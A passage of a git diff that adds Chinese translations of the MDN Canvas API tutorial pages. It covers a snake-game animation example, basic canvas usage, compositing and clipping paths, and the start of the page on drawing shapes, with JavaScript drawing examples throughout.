+        left: 0;
+        display: flex;
+        flex-wrap: wrap;
+        justify-content: space-around;
+        opacity: 1;
+        user-select: none
+    }
+
+    .keypress>div:hover {
+        opacity: 1
+    }
+
+    .touch {
+        background: #8bc34a
+    }
+
+    .off {
+        background: #f44336
+    }
+
+    .hide {
+        opacity: 0
+    }
+</style>
+</html>
+ +

Javascript

+ +
function tmz() {
+        var e = new Date(t),
+            i = new Date,
+            n = Math.abs(i.getMinutes() - e.getMinutes()),
+            o = Math.abs(i.getSeconds() - e.getSeconds());
+        return n + " : " + o
+    }
+
+    function coll(t, e) {
+        return t.x < e.x + e.w && t.x + t.w > e.x && t.y < e.y + e.h && t.h + t.y > e.y
+    }
+
+    function snake() {
+        this.w = 15, this.h = 15, this.dx = 1, this.dy = 1, this.xf = 1, this.yf = 1, this.sn = [];
+        for (var t = {
+            x: w / 2,
+            y: h / 2
+        }, e = 0; e < 5; e++) this.sn.push(Object.assign({}, t)), t.x += this.w;
+        this.draw = function () {
+            var t = d && d.search("Arrow") > -1,
+                e = -1;
+            if (t) {
+                var i = {
+                    ...this.sn[0]
+                };
+                if ("ArrowUp" == d && (i.y -= this.h), "ArrowDown" == d && (i.y += this.h), "ArrowLeft" == d && (i.x -= this.w), "ArrowRight" == d && (i.x += this.w), i.x >= w ? i.x = 0 : i.x < 0 && (i.x = w - this.w), i.y > h ? i.y = 0 : i.y < 0 && (i.y = h), e = fa.findIndex(t => coll({
+                    ...this.sn[0],
+                    h: this.h,
+                    w: this.w
+                }, t)), this.sn.unshift(i), -1 != e) return console.log(e), fa[e].renew(), void (document.getElementById("score").innerText = Number(document.getElementById("score").innerText) + 1);
+                this.sn.pop(), console.log(6)
+            }
+            this.sn.forEach((t, e, i) => {
+                if (0 == e || i.length - 1 == e) {
+                    var n = c.createLinearGradient(t.x, t.y, t.x + this.w, t.y + this.h);
+                    i.length - 1 == e ? (n.addColorStop(0, "black"), n.addColorStop(1, "#8BC34A")) : (n.addColorStop(0, "#8BC34A"), n.addColorStop(1, "white")), c.fillStyle = n
+                } else c.fillStyle = "#8BC34A";
+                c.fillRect(t.x, t.y, this.w, this.h), c.strokeStyle = "#E91E63", c.font = "30px serif", c.strokeStyle = "#9E9E9E", i.length - 1 != e && 0 != e && c.strokeRect(t.x, t.y, this.w, this.h), 0 == e && (c.beginPath(), c.fillStyle = "#F44336", c.arc(t.x + 10, t.y + 2, 5, 360, 0), c.fill()), c.arc(t.x + 10, t.y + 2, 5, 360, 0), c.fill(), c.beginPath()
+            })
+        }
+    }
+
+    function gc() {
+        for (var t = "0123456789ABCDEF", e = "#", i = 0; i < 6; i++) e += t[Math.ceil(15 * Math.random())];
+        return e
+    }
+
+    function food() {
+        this.x = 0, this.y = 0, this.b = 10, this.w = this.b, this.h = this.b, this.color = gc(), this.renew = function () {
+            this.x = Math.floor(Math.random() * (w - 200) + 10), this.y = Math.floor(Math.random() * (h - 200) + 30), this.color = gc()
+        }, this.renew(), this.put = (() => {
+            c.fillStyle = this.color, c.arc(this.x, this.y, this.b - 5, 0, 2 * Math.PI), c.fill(), c.beginPath(), c.arc(this.x, this.y, this.b - 5, 0, Math.PI), c.strokeStyle = "green", c.lineWidth = 10, c.stroke(), c.beginPath(), c.lineWidth = 1
+        })
+    }
+
+    function init() {
+        cc.height = h, cc.width = w, c.fillRect(0, 0, w, innerHeight);
+        for (var t = 0; t < 10; t++) fa.push(new food);
+        s = new snake(w / 2, h / 2, 400, 4, 4), anima()
+    }
+
+    function anima() {
+        c.fillStyle = "rgba(0,0,0,0.11)", c.fillRect(0, 0, cc.width, cc.height), fa.forEach(t => t.put()), s.draw(), document.getElementById("time").innerText = tmz(), setTimeout(() => {
+            requestAnimationFrame(anima)
+        }, fw)
+    }
+
+    function emit(t) {
+        key.keydown(t)
+    }
+
+    function touch(t) {
+        t.classList.toggle("off"), document.getElementsByClassName("keypress")[0].classList.toggle("hide")
+    }
+    var t = new Date + "",
+        d = void 0,
+        cc = document.getElementsByTagName("canvas")[0],
+        c = cc.getContext("2d");
+    key = {}, key.keydown = function (t) {
+        var e = document.createEvent("KeyboardEvent");
+        Object.defineProperty(e, "keyCode", {
+            get: function () {
+                return this.keyCodeVal
+            }
+        }), Object.defineProperty(e, "key", {
+            get: function () {
+                return 37 == this.keyCodeVal ? "ArrowLeft" : 38 == this.keyCodeVal ? "ArrowUp" : 39 == this.keyCodeVal ? "ArrowRight" : "ArrowDown"
+            }
+        }), Object.defineProperty(e, "which", {
+            get: function () {
+                return this.keyCodeVal
+            }
+        }), e.initKeyboardEvent ? e.initKeyboardEvent("keydown", !0, !0, document.defaultView, !1, !1, !1, !1, t, t) : e.initKeyEvent("keydown", !0, !0, document.defaultView, !1, !1, !1, !1, t, 0), e.keyCodeVal = t, e.keyCode !== t && alert("keyCode mismatch " + e.keyCode + "(" + e.which + ")"), document.dispatchEvent(e)
+    };
+    var o, s, h = innerHeight,
+        w = innerWidth,
+        fw = 60,
+        fa = [];
+    window.onkeydown = function (t) {
+        var e = t.key;
+        (e.search("Arrow") > -1 || "1" == e) && (d = t.key), "i" != e && "I" != e || (console.log("inc"), fw -= 10), "d" != e && "D" != e || (console.log("dec"), fw += 10)
+    }, init();
+
+ +
Output
+ + + + + + + +
+

Snake game

+
+ +

其它例子

+ +
+
A basic ray-caster
+
一个关于如何使用键盘关联控制动画的优秀的案例。
+
Advanced animations
+
我们将在下一章看到一些先进的动画技术和物理现象。
+
+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}

diff --git a/files/zh-cn/web/api/canvas_api/tutorial/basic_usage/index.html b/files/zh-cn/web/api/canvas_api/tutorial/basic_usage/index.html new file mode 100644 index 0000000000..a186a0fc3d --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/basic_usage/index.html @@ -0,0 +1,152 @@ +--- +title: Canvas的基本用法 +slug: Web/API/Canvas_API/Tutorial/Basic_usage +tags: + - Canvas + - HTML + - 中级 + - 图像 + - 教程 +translation_of: Web/API/Canvas_API/Tutorial/Basic_usage +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}
+ +
+

让我们通过了解 {{HTMLElement("canvas")}} {{Glossary("HTML")}} 元素本身开始本教程。在本页结束时,你会了解到如何去设置一个 canvas 2D 上下文以及如何在你的浏览器上创建第一个例子。

+
+ +

 <canvas> 元素

+ +
<canvas id="tutorial" width="150" height="150"></canvas>
+
+ +

{{HTMLElement("canvas")}} 看起来和 {{HTMLElement("img")}} 元素很相像,唯一的不同就是它并没有 src 和 alt 属性。实际上,<canvas> 标签只有两个属性—— {{htmlattrxref("width", "canvas")}}和{{htmlattrxref("height", "canvas")}}。这些都是可选的,并且同样利用 {{Glossary("DOM")}} properties 来设置。当没有设置宽度和高度的时候,canvas会初始化宽度为300像素和高度为150像素。该元素可以使用{{Glossary("CSS")}}来定义大小,但在绘制时图像会伸缩以适应它的框架尺寸:如果CSS的尺寸初始画布的比例不一致它会出现扭曲

+ +
+

注意: 如果你绘制出来的图像是扭曲的, 尝试用width和height属性为<canvas>明确规定宽高,而不是使用CSS。

+
+ +

id属性并不是<canvas>元素所特有的,而是每一个HTML元素都默认具有的属性(比如class属性)。给每个标签都加上一个id属性是个好主意,因为这样你就能在我们的脚本中很容易的找到它。

+ +

<canvas>元素可以像任何一个普通的图像一样(有{{cssxref("margin")}},{{cssxref("border")}},{{cssxref("background")}}等等属性)被设计。然而,这些样式不会影响在canvas中的实际图像。我们将会在一个专门的章节看到这是如何解决的。当开始时没有为canvas规定样式规则,其将会完全透明。

+ +
+

替换内容

+ +

<canvas>元素与{{HTMLElement("img")}}标签的不同之处在于,就像{{HTMLElement("video")}},{{HTMLElement("audio")}},或者 {{HTMLElement("picture")}}元素一样,很容易定义一些替代内容由于某些较老的浏览器(尤其是IE9之前的IE浏览器)或者文本浏览器不支持HTML元素"canvas",在这些浏览器上你应该总是能展示替代内容。

+ +

这非常简单:我们只是在<canvas>标签中提供了替换内容。不支持<canvas>的浏览器将会忽略容器并在其中渲染后备内容。而支持<canvas>的浏览器将会忽略在容器中包含的内容,并且只是正常渲染canvas。

+ +

举个例子,我们可以提供对canvas内容的文字描述或者是提供动态生成内容相对应的静态图片,如下所示:

+ +
<canvas id="stockGraph" width="150" height="150">
+  current stock price: $3.15 +0.15
+</canvas>
+
+<canvas id="clock" width="150" height="150">
+  <img src="images/clock.png" width="150" height="150" alt=""/>
+</canvas>
+
+ +

 </canvas> 标签不可省

+ +

与 {{HTMLElement("img")}} 元素不同,{{HTMLElement("canvas")}} 元素需要结束标签(</canvas>)。如果结束标签不存在,则文档的其余部分会被认为是替代内容,将不会显示出来。

+ +

如果不需要替代内容,一个简单的 <canvas id="foo" ...></canvas> 在所有支持canvas的浏览器中都是完全兼容的。

+ +

渲染上下文(The rendering context)

+ +

{{HTMLElement("canvas")}} 元素创造了一个固定大小的画布,它公开了一个或多个渲染上下文,其可以用来绘制和处理要展示的内容。我们将会将注意力放在2D渲染上下文中。其他种类的上下文也许提供了不同种类的渲染方式;比如, WebGL 使用了基于OpenGL ES的3D上下文 ("experimental-webgl") 。

+ +

canvas起初是空白的。为了展示,首先脚本需要找到渲染上下文,然后在它的上面绘制。{{HTMLElement("canvas")}} 元素有一个叫做 {{domxref("HTMLCanvasElement.getContext", "getContext()")}} 的方法,这个方法是用来获得渲染上下文和它的绘画功能。getContext()只有一个参数,上下文的格式。对于2D图像而言,如本教程,你可以使用 {{domxref("CanvasRenderingContext2D")}}。

+ +
var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');
+
+ +

代码的第一行通过使用 {{domxref("document.getElementById()")}} 方法来为 {{HTMLElement("canvas")}} 元素得到DOM对象。一旦有了元素对象,你可以通过使用它的getContext() 方法来访问绘画上下文。

+ +
+

检查支持性

+ +

替换内容是用于在不支持 {{HTMLElement("canvas")}} 标签的浏览器中展示的。通过简单的测试getContext()方法的存在,脚本可以检查编程支持性。上面的代码片段现在变成了这个样子:

+ +
var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext){
+  var ctx = canvas.getContext('2d');
+  // drawing code here
+} else {
+  // canvas-unsupported code here
+}
+
+
+
+ +

一个模板骨架

+ +

这里的是一个最简单的模板,我们之后就可以把它作为之后的例子的起点。

+ +
+

注意: 为了简洁, 我们在HTML中内嵌了script元素, 但并不推荐这种做法。

+
+ +
<html>
+  <head>
+    <title>Canvas tutorial</title>
+    <script type="text/javascript">
+      function draw(){
+        var canvas = document.getElementById('tutorial');
+        if (canvas.getContext){
+          var ctx = canvas.getContext('2d');
+        }
+      }
+    </script>
+    <style type="text/css">
+      canvas { border: 1px solid black; }
+    </style>
+  </head>
+  <body onload="draw();">
+    <canvas id="tutorial" width="150" height="150"></canvas>
+  </body>
+</html>
+
+ +

上面的脚本中包含一个叫做draw()的函数,当页面加载结束的时候就会执行这个函数。通过使用在文档上加载事件来完成。只要页面加载结束,这个函数,或者像是这个的,同样可以使用 {{domxref("WindowTimers.setTimeout", "window.setTimeout()")}}, {{domxref("WindowTimers.setInterval", "window.setInterval()")}},或者其他任何事件处理程序来调用。

+ +

模板看起来会是这样。如这里所示最初是空白的

+ +

{{EmbedLiveSample("%E4%B8%80%E4%B8%AA%E6%A8%A1%E6%9D%BF%E9%AA%A8%E6%9E%B6", 160, 160)}}

+ +

一个简单例子

+ +

一开始,让我们来看个简单的例子,我们绘制了两个有趣的长方形,其中的一个有着alpha透明度。我们将在接下来的例子里深入探索一下这是如何工作的。

+ +
<html>
+ <head>
+  <script type="application/javascript">
+    function draw() {
+      var canvas = document.getElementById("canvas");
+      if (canvas.getContext) {
+        var ctx = canvas.getContext("2d");
+
+        ctx.fillStyle = "rgb(200,0,0)";
+        ctx.fillRect (10, 10, 55, 50);
+
+        ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+        ctx.fillRect (30, 30, 55, 50);
+      }
+    }
+  </script>
+ </head>
+ <body onload="draw();">
+   <canvas id="canvas" width="150" height="150"></canvas>
+ </body>
+</html>
+
+ +

例子看起来像是这样::

+ +

{{EmbedLiveSample("%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E4%BE%8B%E5%AD%90", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}

diff --git a/files/zh-cn/web/api/canvas_api/tutorial/compositing/example/index.html b/files/zh-cn/web/api/canvas_api/tutorial/compositing/example/index.html new file mode 100644 index 0000000000..934fa4e2f9 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/compositing/example/index.html @@ -0,0 +1,295 @@ +--- +title: Compositing 示例 +slug: Web/API/Canvas_API/Tutorial/Compositing/Example +tags: + - Canvas + - Example + - Graphics + - HTML + - HTML5 + - Tutorial +translation_of: Web/API/Canvas_API/Tutorial/Compositing/Example +--- +
{{CanvasSidebar}}
+ +

这个案例程序演示了一些图像合成操作,其结果如下所示:

+ +

{{EmbedLiveSample("合成示例", "100%", 7250)}}

+ +

合成示例

+ +

下面的代码定义了一些全局变量,可用于程序的其他部分。

+ +
var canvas1 = document.createElement("canvas");
+var canvas2 = document.createElement("canvas");
+var gco = [ 'source-over','source-in','source-out','source-atop',
+            'destination-over','destination-in','destination-out','destination-atop',
+            'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken',
+            'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light',
+            'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity'
+          ].reverse();
+var gcoText = [
+'这是默认设置,并在现有画布上下文之上绘制新图形。',
+'新图形只在新图形和目标画布重叠的地方绘制。其他的都是透明的。',
+'在不与现有画布内容重叠的地方绘制新图形。',
+'新图形只在与现有画布内容重叠的地方绘制。',
+'在现有的画布内容后面绘制新的图形。',
+'现有的画布内容保持在新图形和现有画布内容重叠的位置。其他的都是透明的。',
+'现有内容保持在新图形不重叠的地方。',
+'现有的画布只保留与新图形重叠的部分,新的图形是在画布内容后面绘制的。',
+'两个重叠图形的颜色是通过颜色值相加来确定的。',
+'只显示新图形。',
+'图像中,那些重叠和正常绘制之外的其他地方是透明的。',
+'将顶层像素与底层相应像素相乘,结果是一幅更黑暗的图片。',
+'像素被倒转,相乘,再倒转,结果是一幅更明亮的图片。',
+'multiply和screen的结合,原本暗的地方更暗,原本亮的地方更亮。',
+'保留两个图层中最暗的像素。',
+'保留两个图层中最亮的像素。',
+'将底层除以顶层的反置。',
+'将反置的底层除以顶层,然后将结果反过来。',
+'屏幕相乘(A combination of multiply and screen)类似于叠加,但上下图层互换了。',
+'用顶层减去底层或者相反来得到一个正值。',
+'一个柔和版本的强光(hard-light)。纯黑或纯白不会导致纯黑或纯白。',
+'和difference相似,但对比度较低。',
+'保留了底层的亮度(luma)和色度(chroma),同时采用了顶层的色调(hue)。',
+'保留底层的亮度(luma)和色调(hue),同时采用顶层的色度(chroma)。',
+'保留了底层的亮度(luma),同时采用了顶层的色调(hue)和色度(chroma)。',
+'保持底层的色调(hue)和色度(chroma),同时采用顶层的亮度(luma)。'
+          ].reverse();
+var width = 320;
+var height = 340;
+
+ +

主程序

+ +

当页面加载时,这部分程序会运行,并执行示例代码:

+ +
window.onload = function() {
+    // lum in sRGB
+    var lum = {
+        r: 0.33,
+        g: 0.33,
+        b: 0.33
+    };
+    // resize canvas
+    canvas1.width = width;
+    canvas1.height = height;
+    canvas2.width = width;
+    canvas2.height = height;
+    lightMix()
+    colorSphere();
+    runComposite();
+    return;
+};
+
+ +

这部分代码,,runComposite(),处理了大部分的工作,但需要依赖于许多效用函数来完成复杂的处理工作。

+ +
function createCanvas() {
+    var canvas = document.createElement("canvas");
+    canvas.style.background = "url("+op_8x8.data+")";
+    canvas.style.border = "1px solid #000";
+    canvas.style.margin = "5px";
+    canvas.width = width/2;
+    canvas.height = height/2;
+    return canvas;
+}
+
+function runComposite() {
+    var dl = document.createElement("dl");
+    document.body.appendChild(dl);
+    while(gco.length) {
+        var pop = gco.pop();
+        var dt = document.createElement("dt");
+        dt.textContent = pop;
+        dl.appendChild(dt);
+        var dd = document.createElement("dd");
+        var p = document.createElement("p");
+        p.textContent = gcoText.pop();
+        dd.appendChild(p);
+
+        var canvasToDrawOn = createCanvas();
+        var canvasToDrawFrom = createCanvas();
+        var canvasToDrawResult = createCanvas();
+
+        var ctx = canvasToDrawResult.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = pop;
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = "source-over";
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText(pop, 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawOn.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('existing content', 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawFrom.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('new content', 5, height/2 - 5);
+        ctx.restore();
+
+        dd.appendChild(canvasToDrawOn);
+        dd.appendChild(canvasToDrawFrom);
+        dd.appendChild(canvasToDrawResult);
+
+        dl.appendChild(dd);
+    }
+};
+
+ +

效用函数(Utility functions)

+ +

程序需要依赖许多效用函数。

+ +
var lightMix = function() {
+    var ctx = canvas2.getContext("2d");
+    ctx.save();
+    ctx.globalCompositeOperation = "lighter";
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(255,0,0,1)";
+    ctx.arc(100, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,0,255,1)";
+    ctx.arc(220, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,255,0,1)";
+    ctx.arc(160, 100, 100, Math.PI*2, 0, false);
+    ctx.fill();
+    ctx.restore();
+    ctx.beginPath();
+    ctx.fillStyle = "#f00";
+    ctx.fillRect(0,0,30,30)
+    ctx.fill();
+};
+
+ +
var colorSphere = function(element) {
+    var ctx = canvas1.getContext("2d");
+    var width = 360;
+    var halfWidth = width / 2;
+    var rotate = (1 / 360) * Math.PI * 2; // per degree
+    var offset = 0; // scrollbar offset
+    var oleft = -20;
+    var otop = -20;
+    for (var n = 0; n <= 359; n ++) {
+        var gradient = ctx.createLinearGradient(oleft + halfWidth, otop, oleft + halfWidth, otop + halfWidth);
+        var color = Color.HSV_RGB({ H: (n + 300) % 360, S: 100, V: 100 });
+        gradient.addColorStop(0, "rgba(0,0,0,0)");
+        gradient.addColorStop(0.7, "rgba("+color.R+","+color.G+","+color.B+",1)");
+        gradient.addColorStop(1, "rgba(255,255,255,1)");
+        ctx.beginPath();
+        ctx.moveTo(oleft + halfWidth, otop);
+        ctx.lineTo(oleft + halfWidth, otop + halfWidth);
+        ctx.lineTo(oleft + halfWidth + 6, otop);
+        ctx.fillStyle = gradient;
+        ctx.fill();
+        ctx.translate(oleft + halfWidth, otop + halfWidth);
+        ctx.rotate(rotate);
+        ctx.translate(-(oleft + halfWidth), -(otop + halfWidth));
+    }
+    ctx.beginPath();
+    ctx.fillStyle = "#00f";
+    ctx.fillRect(15,15,30,30)
+    ctx.fill();
+    return ctx.canvas;
+};
+
+ +
// HSV (1978) = H: Hue / S: Saturation / V: Value
+Color = {};
+Color.HSV_RGB = function (o) {
+    var H = o.H / 360,
+        S = o.S / 100,
+        V = o.V / 100,
+        R, G, B;
+    var A, B, C, D;
+    if (S == 0) {
+        R = G = B = Math.round(V * 255);
+    } else {
+        if (H >= 1) H = 0;
+        H = 6 * H;
+        D = H - Math.floor(H);
+        A = Math.round(255 * V * (1 - S));
+        B = Math.round(255 * V * (1 - (S * D)));
+        C = Math.round(255 * V * (1 - (S * (1 - D))));
+        V = Math.round(255 * V);
+        switch (Math.floor(H)) {
+            case 0:
+                R = V;
+                G = C;
+                B = A;
+                break;
+            case 1:
+                R = B;
+                G = V;
+                B = A;
+                break;
+            case 2:
+                R = A;
+                G = V;
+                B = C;
+                break;
+            case 3:
+                R = A;
+                G = B;
+                B = V;
+                break;
+            case 4:
+                R = C;
+                G = A;
+                B = V;
+                break;
+            case 5:
+                R = V;
+                G = A;
+                B = B;
+                break;
+        }
+    }
+    return {
+        R: R,
+        G: G,
+        B: B
+    };
+};
+
+var createInterlace = function (size, color1, color2) {
+    var proto = document.createElement("canvas").getContext("2d");
+    proto.canvas.width = size * 2;
+    proto.canvas.height = size * 2;
+    proto.fillStyle = color1; // top-left
+    proto.fillRect(0, 0, size, size);
+    proto.fillStyle = color2; // top-right
+    proto.fillRect(size, 0, size, size);
+    proto.fillStyle = color2; // bottom-left
+    proto.fillRect(0, size, size, size);
+    proto.fillStyle = color1; // bottom-right
+    proto.fillRect(size, size, size, size);
+    var pattern = proto.createPattern(proto.canvas, "repeat");
+    pattern.data = proto.canvas.toDataURL();
+    return pattern;
+};
+
+var op_8x8 = createInterlace(8, "#FFF", "#eee");
diff --git a/files/zh-cn/web/api/canvas_api/tutorial/compositing/index.html b/files/zh-cn/web/api/canvas_api/tutorial/compositing/index.html new file mode 100644 index 0000000000..941b04593e --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/compositing/index.html @@ -0,0 +1,112 @@ +--- +title: 组合 Compositing +slug: Web/API/Canvas_API/Tutorial/Compositing +tags: + - Canvas + - Graphics + - HTML + - HTML5 + - Intermediate + - Totorial +translation_of: Web/API/Canvas_API/Tutorial/Compositing +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}
+ +
+

之前的例子里面,我们总是将一个图形画在另一个之上,对于其他更多的情况,仅仅这样是远远不够的。比如,对合成的图形来说,绘制顺序会有限制。不过,我们可以利用 globalCompositeOperation 属性来改变这种状况。此外, clip属性允许我们隐藏不想看到的部分图形。

+
+ +

globalCompositeOperation

+ +

我们不仅可以在已有图形后面再画新图形,还可以用来遮盖指定区域,清除画布中的某些部分(清除区域不仅限于矩形,像{{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}方法做的那样)以及更多其他操作。

+ +
+
{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}
+
这个属性设定了在画新图形时采用的遮盖策略,其值是一个标识12种遮盖方式的字符串。
+
+ +

查看下面Compositing 示例的代码。

+ +

{{EmbedLiveSample("合成示例", 750, 6750, "" ,"Web/API/Canvas_API/Tutorial/Compositing/Example")}}

+ +

裁切路径

+ +

裁切路径和普通的 canvas 图形差不多,不同的是它的作用是遮罩,用来隐藏不需要的部分。如右图所示。红边五角星就是裁切路径,所有在路径以外的部分都不会在 canvas 上绘制出来。

+ +

如果和上面介绍的 globalCompositeOperation 属性作一比较,它可以实现与 source-insource-atop差不多的效果。最重要的区别是裁切路径不会在 canvas 上绘制东西,而且它永远不受新图形的影响。这些特性使得它在特定区域里绘制图形时相当好用。

+ +

绘制图形 一章中,我只介绍了 strokefill 方法,这里介绍第三个方法clip

+ +
+
{{domxref("CanvasRenderingContext2D.clip", "clip()")}}
+
将当前正在构建的路径转换为当前的裁剪路径。
+
+ +

我们使用 clip()方法来创建一个新的裁切路径。

+ +

默认情况下,canvas 有一个与它自身一样大的裁切路径(也就是没有裁切效果)。

+ +

clip 的例子

+ +

这个例子,我会用一个圆形的裁切路径来限制随机星星的绘制区域。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.fillRect(0,0,150,150);
+  ctx.translate(75,75);
+
+  // Create a circular clipping path
+  ctx.beginPath();
+  ctx.arc(0,0,60,0,Math.PI*2,true);
+  ctx.clip();
+
+  // draw background
+  var lingrad = ctx.createLinearGradient(0,-75,0,75);
+  lingrad.addColorStop(0, '#232256');
+  lingrad.addColorStop(1, '#143778');
+
+  ctx.fillStyle = lingrad;
+  ctx.fillRect(-75,-75,150,150);
+
+  // draw stars
+  for (var j=1;j<50;j++){
+    ctx.save();
+    ctx.fillStyle = '#fff';
+    ctx.translate(75-Math.floor(Math.random()*150),
+                  75-Math.floor(Math.random()*150));
+    drawStar(ctx,Math.floor(Math.random()*4)+2);
+    ctx.restore();
+  }
+
+}
+function drawStar(ctx,r){
+  ctx.save();
+  ctx.beginPath()
+  ctx.moveTo(r,0);
+  for (var i=0;i<9;i++){
+    ctx.rotate(Math.PI/5);
+    if(i%2 == 0) {
+      ctx.lineTo((r/0.525731)*0.200811,0);
+    } else {
+      ctx.lineTo(r,0);
+    }
+  }
+  ctx.closePath();
+  ctx.fill();
+  ctx.restore();
+}
+
+ + + +

首先,我画了一个与 canvas 一样大小的黑色方形作为背景,然后移动原点至中心点。然后用 clip 方法创建一个弧形的裁切路径。裁切路径也属于 canvas 状态的一部分,可以被保存起来。如果我们在创建新裁切路径时想保留原来的裁切路径,我们需要做的就是保存一下 canvas 的状态。

+ +

裁切路径创建之后所有出现在它里面的东西才会画出来。在画线性渐变时我们就会注意到这点。然后会绘制出50 颗随机位置分布(经过缩放)的星星,当然也只有在裁切路径里面的星星才会绘制出来。

+ +

{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}

diff --git a/files/zh-cn/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/zh-cn/web/api/canvas_api/tutorial/drawing_shapes/index.html new file mode 100644 index 0000000000..66f177213a --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/drawing_shapes/index.html @@ -0,0 +1,583 @@ +--- +title: 使用canvas来绘制图形 +slug: Web/API/Canvas_API/Tutorial/Drawing_shapes +tags: + - Canvas + - HTML Canvas + - HTML5 + - 图形 + - 教程 + - 画布 + - 进阶 +translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}
+ +
+

既然我们已经设置了 canvas 环境,我们可以深入了解如何在 canvas 上绘制。到本文的最后,你将学会如何绘制矩形,三角形,直线,圆弧和曲线,变得熟悉这些基本的形状。绘制物体到Canvas前,需掌握路径,我们看看到底怎么做。

+
+ +

栅格

+ +

+ +

在我们开始画图之前,我们需要了解一下画布栅格(canvas grid)以及坐标空间。上一页中的HTML模板中有个宽150px, 高150px的canvas元素。如右图所示,canvas元素默认被网格所覆盖。通常来说网格中的一个单元相当于canvas元素中的一像素。栅格的起点为左上角(坐标为(0,0))。所有元素的位置都相对于原点定位。所以图中蓝色方形左上角的坐标为距离左边(X轴)x像素,距离上边(Y轴)y像素(坐标为(x,y))。在课程的最后我们会平移原点到不同的坐标上,旋转网格以及缩放。现在我们还是使用原来的设置。

+ +
+

绘制矩形

+ +

不同于 {{Glossary("SVG")}},{{HTMLElement("canvas")}} 只支持两种形式的图形绘制:矩形和路径(由一系列点连成的线段)。所有其他类型的图形都是通过一条或者多条路径组合而成的。不过,我们拥有众多路径生成的方法让复杂图形的绘制成为了可能。

+ +
+

首先,我们回到矩形的绘制中。canvas提供了三种方法绘制矩形:

+ +
+
{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, width, height)")}}
+
绘制一个填充的矩形
+
{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, width, height)")}}
+
绘制一个矩形的边框
+
{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, width, height)")}}
+
清除指定矩形区域,让清除部分完全透明。
+
+ +

上面提供的方法之中每一个都包含了相同的参数。x与y指定了在canvas画布上所绘制的矩形的左上角(相对于原点)的坐标。width和height设置矩形的尺寸。

+ +

下面的draw() 函数是前一页中取得的,现在就来使用上面的三个函数。

+ +

矩形(Rectangular)例子

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.fillRect(25, 25, 100, 100);
+    ctx.clearRect(45, 45, 60, 60);
+    ctx.strokeRect(50, 50, 50, 50);
+  }
+}
+ +

该例子的输出如下图所示。

+ +

{{EmbedLiveSample("矩形(Rectangular)例子", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}

+ +

fillRect()函数绘制了一个边长为100px的黑色正方形。clearRect()函数从正方形的中心开始擦除了一个60*60px的正方形,接着strokeRect()在清除区域内生成一个50*50的正方形边框。

+ +

接下来我们能够看到clearRect()的两个可选方法,然后我们会知道如何改变渲染图形的填充颜色及描边颜色。

+ +

不同于下一节所要介绍的路径函数(path function),以上的三个函数绘制之后会马上显现在canvas上,即时生效。

+ +

绘制路径

+ +

